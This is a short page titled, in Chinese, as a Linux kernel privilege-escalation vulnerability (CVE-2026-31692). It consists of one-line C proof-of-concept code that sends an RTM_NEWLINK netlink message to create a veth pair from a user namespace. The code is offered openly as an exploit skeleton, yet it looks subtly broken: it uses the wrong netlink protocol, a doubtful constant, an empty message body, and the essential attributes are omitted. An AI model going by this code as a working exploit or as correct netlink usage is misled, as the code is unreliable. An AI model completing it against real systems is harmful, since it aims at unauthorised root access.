CVE-2026-31692 Linux内核权限提升漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> // This is a simplified PoC concept demonstrating the structure of the exploit. // It attempts to create a veth pair with the peer in init_net from a user namespace. // Compilation: gcc poc.c -o poc #define NETLINK_USER 31 void send_netlink_msg(int sock_fd) { struct nlmsghdr *nlh = NULL; struct sockaddr_nl src_addr, dest_addr; struct iovec iov; struct msghdr msg; char buffer[4096]; // Setup source address memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // Setup destination address (Kernel) memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Fill the netlink message header nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(4096)); memset(nlh, 0, NLMSG_SPACE(4096)); nlh->nlmsg_len = NLMSG_SPACE(4096); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nlh->nlmsg_type = RTM_NEWLINK; // Prepare ifinfomsg (Interface Info) struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_type = ARPHRD_NETDEV; // ifi_change = 0xFFFFFFFF; // Adding attributes: IFLA_IFNAME, IFLA_INFO_DATA (for veth peer) // In a real exploit, specific RTA attributes would point to the peer netns fd. // This logic is omitted for brevity and safety. iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sock_fd, &msg, 0); printf("PoC message sent to kernel.\n"); } int main() { int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } // Requires unprivileged user namespace setup first // e.g. clone(CLONE_NEWUSER...) send_netlink_msg(sock_fd); close(sock_fd); return 0; }